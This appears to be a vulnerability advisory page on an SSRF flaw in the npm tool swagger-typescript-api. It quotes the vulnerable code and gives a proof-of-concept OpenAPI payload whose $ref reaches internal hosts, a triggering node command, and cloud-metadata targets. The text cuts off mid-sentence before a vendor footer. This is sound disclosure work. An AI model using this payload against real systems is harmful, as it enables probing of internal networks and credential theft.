npm · swagger-typescript-api
swagger-typescript-api vulnerable to Server-Side Request Forgery via spec `$ref`
swagger-typescript-api walks every $ref value in the input OpenAPI spec and, for any $ref whose target is an http(s):// URL, issues an HTTP GET to that URL during generation (warmUpRemoteSchemasCache). The only URL filter is a regex that matches ^https?:// — there is no private-IP allowlist, no DNS-rebinding protection, no redirect cap, and no same-origin check against the spec source. A malicious OpenAPI spec can therefore force the generator process to issue HTTP requests to arbitrary hosts and paths reachable from the generator's network, including 127.0.0.1, RFC-1918 ranges, internal hostnames, and the cloud instance-metadata endpoint at 169.254.169.254.
The attacker model is identical to the previously reported code-injection findings: a developer or CI pipeline that runs swagger-typescript-api generate against an attacker-controlled spec (remote URL, third-party / public OpenAPI registry, multi-tenant tenant input, or a spec file modified via PR).
SwaggerSchemaResolver.fetchSwaggerSchemaFile (src/swagger-schema-resolver.ts:122) loads the entry-point spec. After it parses, ResolvedSwaggerSchema (src/resolved-swagger-schema.ts) calls warmUpRemoteSchemasCache which does a BFS over every external $ref:
// src/resolved-swagger-schema.ts:399-445
private async warmUpRemoteSchemasCache() {
if (typeof this.config.url !== "string" || !this.isHttpUrl(this.config.url)) {
return;
}
const visited = new Set<string>();
const queue = [this.stripHash(this.config.url)];
while (queue.length > 0) {
const currentUrl = queue.shift();
if (!currentUrl || visited.has(currentUrl)) continue;
visited.add(currentUrl);
if (this.externalSchemaCache.has(currentUrl)) continue;
const schema = await this.fetchRemoteSchemaDocument(currentUrl); // <-- HTTP GET
if (!schema) continue;
this.externalSchemaCache.set(currentUrl, schema);
for (const ref of this.extractRefsFromSchema(schema)) {
const normalizedRef = this.normalizeRef(ref);
if (normalizedRef.startsWith("#")) continue;
const [externalPath = ""] = normalizedRef.split("#");
if (!externalPath) continue;
const absoluteUrl = this.resolveAbsoluteUrl(externalPath, currentUrl);
if (absoluteUrl && !visited.has(absoluteUrl)) {
queue.push(absoluteUrl); // <-- recurse
}
}
}
}
The fetch itself:
// src/resolved-swagger-schema.ts:374
const response = await fetch(url, {
headers: this.getRemoteRequestHeaders(),
});
…and the only URL-shape filter:
// src/resolved-swagger-schema.ts:75-78
private isHttpUrl(value: string): boolean {
return /^https?:\/\//i.test(value);
}
There is no IP allowlist (no rejection of 127.x, 10.x, 172.16-31.x, 192.168.x, 169.254.x, IPv6 ::1 / fc00::/7, etc.), no DNS-rebinding mitigation (the URL is passed straight to Node's built-in fetch, which itself follows up to 20 redirects by default), and no check that the new URL shares an origin with the spec source. Any $ref value that survives isHttpUrl is fetched.
Because fetch is Node's undici-backed implementation, an external 302 redirect from an attacker's spec server to an internal URL ALSO succeeds — even if the maintainer later adds a private-IP filter to the spec string itself, redirect-based SSRF would still work without additional mitigation in the fetch options (redirect: "manual" or a custom dispatcher with a same-host check).
Self-contained reproducer in comments (install swagger-typescript-api@13.12.1 into a local node_modules, spin up two loopback HTTP servers — one serving the spec, one pretending to be an "internal" service — run the generator against each, observe the internal server's hit count). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.
Payload spec (served from http://127.0.0.1:<spec-port>/spec.json):
{
"openapi": "3.0.0",
"info": { "title": "SSRF-payload", "version": "1.0.0" },
"paths": {
"/p": {
"get": {
"operationId": "p",
"responses": {
"200": {
"description": "OK",
"content": {
"application/json": {
"schema": {
"$ref": "http://127.0.0.1:<internal-port>/INTERNAL_ONLY_PATH/secret.json"
}
}
}
}
}
}
}
}
}
Steps:
# 1. Start a loopback "internal" HTTP server that should not be reachable from a public spec.
# 2. Start a loopback "spec" HTTP server that serves the payload spec above.
# 3. Point the generator at the spec server.
npm install swagger-typescript-api@13.12.1
node -e "import('swagger-typescript-api').then(m => m.generateApi({
output: '/tmp/out',
url: 'http://127.0.0.1:<spec-port>/spec.json',
httpClientType: 'fetch'
}))"
Observed (control vs payload):
[control] (no external $ref in spec) → internal-server hits: 0
[payload] ($ref → http://127.0.0.1:<internal-port>/...) → internal-server hits: 1
hit: /INTERNAL_ONLY_PATH/secret.json host=127.0.0.1:<internal-port>
The internal server received a GET /INTERNAL_ONLY_PATH/secret.json issued by the generator's warmUpRemoteSchemasCache while the developer was running swagger-typescript-api generate. The loopback target in the PoC stands in for any host reachable from the generator process — typical real-world targets include 169.254.169.254 (cloud IMDS), internal admin panels, intranet web apps, and corporate-VPN-only services.
Type: Server-Side Request Forgery (CWE-918) via unrestricted external-reference resolution in a code-generation tool.
Affected use cases:
sta generate --url https://attacker.example/openapi.json against an attacker-hosted spec.What an attacker can do with this:
http://169.254.169.254/...) on cloud-hosted CI runners. Even though the response body is not directly returned to the attacker, side effects (rate-limit, timing, error code reflected in logs) leak information.$ref URLs — filed separately) to escalate this from blind SSRF into direct credential exfiltration.Lifecycle: generation-time. The fetch happens when the developer or CI pipeline runs swagger-typescript-api generate, not when the generated client is later imported.
Suggested fix:
Defense in depth at three layers, in priority order:
127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16, 0.0.0.0/8, and IPv6 equivalents (::1, fc00::/7, fe80::/10, ::ffff:0:0/96). Re-resolve on every redirect to defeat DNS rebinding.connect hook that re-checks the resolved IP at TCP-connect time — the only reliable way to defeat DNS rebinding in Node's built-in fetch.redirect: "manual" in the fetch options and validate each redirect URL through the same allowlist before following it.If full SSRF mitigation is too
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.